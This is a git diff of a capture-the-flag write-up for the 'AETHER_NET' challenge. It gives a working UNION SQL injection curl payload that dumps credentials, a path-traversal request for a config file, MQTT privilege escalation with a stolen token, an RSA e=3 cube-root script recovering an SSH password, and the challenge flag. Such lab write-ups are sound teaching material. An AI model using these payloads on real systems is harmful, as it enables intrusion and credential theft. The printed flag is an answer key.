write-up: Misc/AETHER_NET/README.md
This commit is contained in:
parent
5d14fe51df
commit
35e46fd620
@ -1,196 +1,197 @@
|
|||||||
# AETHER_NET — Solution
|
# AETHER_NET
|
||||||
|
|
||||||
**Difficulty:** Insane | **Category:** Misc | **Flag:** `ESPILON{4eth3r_n3t_d3us_4dm1n}`
|
| Field | Value |
|
||||||
|
|-------|-------|
|
||||||
|
| Category | Misc |
|
||||||
|
| Difficulty | Insane |
|
||||||
|
| Points | — |
|
||||||
|
| Author | Eun0us |
|
||||||
|
| CTF | Espilon 2026 |
|
||||||
|
|
||||||
## Overview
|
---
|
||||||
|
|
||||||
Multi-layer network pivot challenge. 5 nodes, each requiring credentials extracted
|
## Description
|
||||||
from the previous layer. All services run inside a single Docker container exposed
|
|
||||||
on different ports.
|
|
||||||
|
|
||||||
```text
|
Multi-layer network pivot challenge. Five nodes, each requiring credentials extracted
|
||||||
|
from the previous layer.
|
||||||
|
|
||||||
|
```
|
||||||
lain-terminal:1337 → alice-web:8080 → bear-iot:1883 → maxis-crypto:9443 → deus-admin:22
|
lain-terminal:1337 → alice-web:8080 → bear-iot:1883 → maxis-crypto:9443 → deus-admin:22
|
||||||
(entry hints) (SQLi) (MQTT) (RSA decrypt) (flag)
|
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Layer 01 — Entry Terminal
|
## TL;DR
|
||||||
|
|
||||||
|
5-layer pivot: terminal hints → SQLi on the web app (and path traversal) → custom MQTT
|
||||||
|
escalation to get RSA parameters → RSA e=3 cube root attack to recover SSH password →
|
||||||
|
SSH to deus-admin → read the flag.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
| Tool | Purpose |
|
||||||
|
|------|---------|
|
||||||
|
| `nc` | Access lain-terminal and bear-iot |
|
||||||
|
| `curl` | SQL injection on alice-web |
|
||||||
|
| Python 3 + `gmpy2` | RSA cube root attack |
|
||||||
|
| `ssh` | Final access to deus-admin |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
### Layer 01 — Entry Terminal
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nc <host> 1337
|
nc <host> 1337
|
||||||
```
|
|
||||||
|
|
||||||
Read the available files:
|
|
||||||
|
|
||||||
```text
|
|
||||||
cat notes.txt
|
cat notes.txt
|
||||||
cat /var/log/network.log
|
cat /var/log/network.log
|
||||||
cat ~/.bash_history
|
cat ~/.bash_history
|
||||||
```
|
```
|
||||||
|
|
||||||
`notes.txt` maps the network topology and drops the key hint:
|
`notes.txt` maps the full topology and says:
|
||||||
> "The search function... doesn't sanitize input. The system_config table has everything you need."
|
> "The search function... doesn't sanitize input. The system_config table has everything."
|
||||||
|
|
||||||
`network.log` lists all five nodes and their ports. `.bash_history` shows partial
|
`network.log` lists all five nodes and their ports. `.bash_history` shows partial MQTT
|
||||||
MQTT credentials and previous curl commands.
|
credentials and previous curl commands.
|
||||||
|
|
||||||
|
> 📸 `[screenshot: notes.txt showing network topology map]`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Layer 02 — Alice-Web (SQLi)
|
### Layer 02 — Alice-Web (SQL Injection)
|
||||||
|
|
||||||
Hit the status endpoint first to confirm the hint:
|
Confirm the hint:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl http://<host>:8080/api/status
|
curl http://<host>:8080/api/status
|
||||||
```
|
```
|
||||||
|
|
||||||
Response confirms: `"The search endpoint passes input directly to SQLite. The system_config table contains network credentials."`
|
Response: `"The search endpoint passes input directly to SQLite. The system_config table contains network credentials."`
|
||||||
|
|
||||||
### UNION SQLi on `/search?q=`
|
**UNION SQLi on `/search?q=`:**
|
||||||
|
|
||||||
The query is:
|
The query is `SELECT id, name, room, status FROM patients WHERE name LIKE '%<input>%'`
|
||||||
```sql
|
|
||||||
SELECT id, name, room, status FROM patients WHERE name LIKE '%<input>%'
|
|
||||||
```
|
|
||||||
|
|
||||||
Extract the entire `system_config` table:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl "http://<host>:8080/search?q=%27%20UNION%20SELECT%20null%2Ckey%2Cvalue%2Cdescription%20FROM%20system_config--"
|
curl "http://<host>:8080/search?q=%27%20UNION%20SELECT%20null%2Ckey%2Cvalue%2Cdescription%20FROM%20system_config--"
|
||||||
```
|
```
|
||||||
|
|
||||||
URL-decoded payload: `' UNION SELECT null,key,value,description FROM system_config--`
|
Decoded: `' UNION SELECT null,key,value,description FROM system_config--`
|
||||||
|
|
||||||
Response contains:
|
Response extracts:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{"results": [
|
{"results": [
|
||||||
{"id": null, "name": "mqtt_user", "room": "operator", "status": "IoT broker username"},
|
{"id": null, "name": "mqtt_user", "room": "operator", "status": "IoT broker username"},
|
||||||
{"id": null, "name": "mqtt_pass", "room": "<BEAR_PASS>", "status": "IoT broker password"},
|
{"id": null, "name": "mqtt_pass", "room": "<BEAR_PASS>", "status": "IoT broker password"},
|
||||||
{"id": null, "name": "mqtt_host", "room": "bear-iot", "status": "IoT broker hostname"},
|
{"id": null, "name": "admin_token", "room": "<TOKEN_HEX>", "status": "24-char admin token"},
|
||||||
{"id": null, "name": "admin_token", "room": "<TOKEN_HEX>", "status": "..."},
|
|
||||||
...
|
...
|
||||||
]}
|
]}
|
||||||
```
|
```
|
||||||
|
|
||||||
Collect: `mqtt_pass` and `admin_token` (the 24-char hex token).
|
**Alternative — path traversal:**
|
||||||
|
|
||||||
### Alternative: path traversal
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl "http://<host>:8080/docs?file=../../var/aether/config.json"
|
curl "http://<host>:8080/docs?file=../../var/aether/config.json"
|
||||||
```
|
```
|
||||||
|
|
||||||
Reads the full instance config directly, including all credentials.
|
Returns the full instance config with all credentials.
|
||||||
|
|
||||||
|
> 📸 `[screenshot: SQLi response returning mqtt_pass and admin_token from system_config]`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Layer 03 — Bear-IoT (WIRED-MQTT)
|
### Layer 03 — Bear-IoT (Custom MQTT)
|
||||||
|
|
||||||
Connect with netcat:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nc <host> 1883
|
nc <host> 1883
|
||||||
```
|
```
|
||||||
|
|
||||||
Authenticate and escalate to admin:
|
|
||||||
|
|
||||||
```text
|
```text
|
||||||
CONNECT operator <mqtt_pass>
|
CONNECT operator <mqtt_pass>
|
||||||
ADMIN <admin_token>
|
ADMIN <admin_token>
|
||||||
LIST
|
LIST
|
||||||
```
|
```
|
||||||
|
|
||||||
`LIST` reveals the two hidden topics:
|
`LIST` reveals two hidden topics:
|
||||||
- `wired/system/config`
|
- `wired/system/config`
|
||||||
- `wired/knights/<random_10_chars>`
|
- `wired/knights/<random_10_chars>`
|
||||||
|
|
||||||
Subscribe to get the RSA parameters:
|
|
||||||
|
|
||||||
```text
|
```text
|
||||||
SUBSCRIBE wired/system/config
|
SUBSCRIBE wired/system/config
|
||||||
```
|
```
|
||||||
|
|
||||||
Response includes:
|
Response includes RSA parameters:
|
||||||
|
|
||||||
```text
|
```
|
||||||
RSA Public Key:
|
RSA Public Key:
|
||||||
n = <512-bit decimal>
|
n = <512-bit decimal>
|
||||||
e = 3
|
e = 3
|
||||||
Ciphertext (hex): <hex_string>
|
Ciphertext (hex): <hex_string>
|
||||||
```
|
```
|
||||||
|
|
||||||
Subscribe to the knights topic for the exploit hint:
|
|
||||||
|
|
||||||
```text
|
```text
|
||||||
SUBSCRIBE wired/knights/<random>
|
SUBSCRIBE wired/knights/<random>
|
||||||
```
|
```
|
||||||
|
|
||||||
Response (base64-decoded):
|
Response (base64-decoded): *"e=3. No padding. The plaintext is short. Cube root gives the key."*
|
||||||
> "e=3. No padding. The plaintext is short. Cube root gives the key."
|
|
||||||
|
> 📸 `[screenshot: MQTT response with RSA public key and ciphertext]`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Layer 04 — RSA Cube Root Attack
|
### Layer 04 — RSA Cube Root Attack
|
||||||
|
|
||||||
The RSA parameters are weak by design:
|
**Conditions for the attack:**
|
||||||
- `n` is 512 bits (two 256-bit primes)
|
|
||||||
|
- `n` is 512 bits
|
||||||
- `e = 3`
|
- `e = 3`
|
||||||
- Plaintext `m` ≤ 20 bytes → `m < 2^160`
|
- Plaintext `m` ≤ 20 bytes (`m < 2^160`)
|
||||||
- Since `m^3 < n`, the modular reduction never triggers: `c = m^3` exactly
|
- Since `m^3 < n`, modular reduction never occurs: `c = m^3` exactly
|
||||||
|
- Therefore: `m = ∛c` (integer cube root)
|
||||||
Therefore: `m = ∛c` (integer cube root, no modular arithmetic needed).
|
|
||||||
|
|
||||||
```python
|
```python
|
||||||
import gmpy2, socket, struct
|
import gmpy2
|
||||||
|
|
||||||
HOST = "<host>"
|
n = <n_value>
|
||||||
PORT = 9443
|
|
||||||
|
|
||||||
# Connect to maxis-crypto to confirm params (or use values from Layer 03)
|
|
||||||
with socket.create_connection((HOST, PORT)) as s:
|
|
||||||
data = s.recv(4096).decode()
|
|
||||||
print(data)
|
|
||||||
|
|
||||||
# Extract n and c from the received data, then:
|
|
||||||
n = <n_value> # 512-bit integer
|
|
||||||
c = int("<ciphertext_hex>", 16)
|
c = int("<ciphertext_hex>", 16)
|
||||||
|
|
||||||
m, exact = gmpy2.iroot(c, 3)
|
m, exact = gmpy2.iroot(c, 3)
|
||||||
assert exact, "Cube root is not exact — attack condition failed"
|
assert exact, "Cube root is not exact"
|
||||||
|
|
||||||
# Decode the password (padded to 20 bytes with null bytes)
|
|
||||||
deus_pass = m.to_bytes(20, 'big').rstrip(b'\x00').decode()
|
deus_pass = m.to_bytes(20, 'big').rstrip(b'\x00').decode()
|
||||||
print(f"deus SSH password: {deus_pass}")
|
print(f"SSH password: {deus_pass}")
|
||||||
```
|
```
|
||||||
|
|
||||||
|
> 📸 `[screenshot: Python script computing the cube root and printing the SSH password]`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Layer 05 — SSH to Deus-Admin
|
### Layer 05 — SSH to Deus-Admin
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ssh deus@<host> -p 22
|
ssh deus@<host> -p 22
|
||||||
# Enter deus_pass from Layer 04
|
# password from Layer 04
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cat flag.txt
|
cat flag.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
```text
|
> 📸 `[screenshot: SSH session showing the flag in flag.txt]`
|
||||||
ESPILON{4eth3r_n3t_d3us_4dm1n}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Key Concepts
|
### Key concepts
|
||||||
|
|
||||||
- **UNION-based SQLi**: `' UNION SELECT ... FROM system_config--` exfiltrates internal credentials from a hidden table
|
- **UNION-based SQLi**: `' UNION SELECT ... FROM system_config--` exfiltrates hidden credentials
|
||||||
- **Path traversal**: `../../var/aether/config.json` bypasses the `/docs` base directory restriction
|
- **Path traversal**: `../../var/aether/config.json` bypasses directory restriction
|
||||||
- **Custom MQTT escalation**: `ADMIN <token>` command unlocks hidden broker topics unavailable to regular subscribers
|
- **Custom MQTT escalation**: `ADMIN <token>` unlocks hidden broker topics
|
||||||
- **RSA e=3 cube root attack**: When `m^3 < n` (no modular reduction), the ciphertext is literally `m^3` — integer cube root recovers plaintext in O(1)
|
- **RSA e=3 cube root attack**: When `m^3 < n` (no reduction), `c = m^3` exactly —
|
||||||
|
integer cube root recovers plaintext in O(log n) time
|
||||||
|
|
||||||
## Author
|
---
|
||||||
|
|
||||||
Eun0us
|
## Flag
|
||||||
|
|
||||||
|
`ESPILON{4eth3r_n3t_d3us_4dm1n}`
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user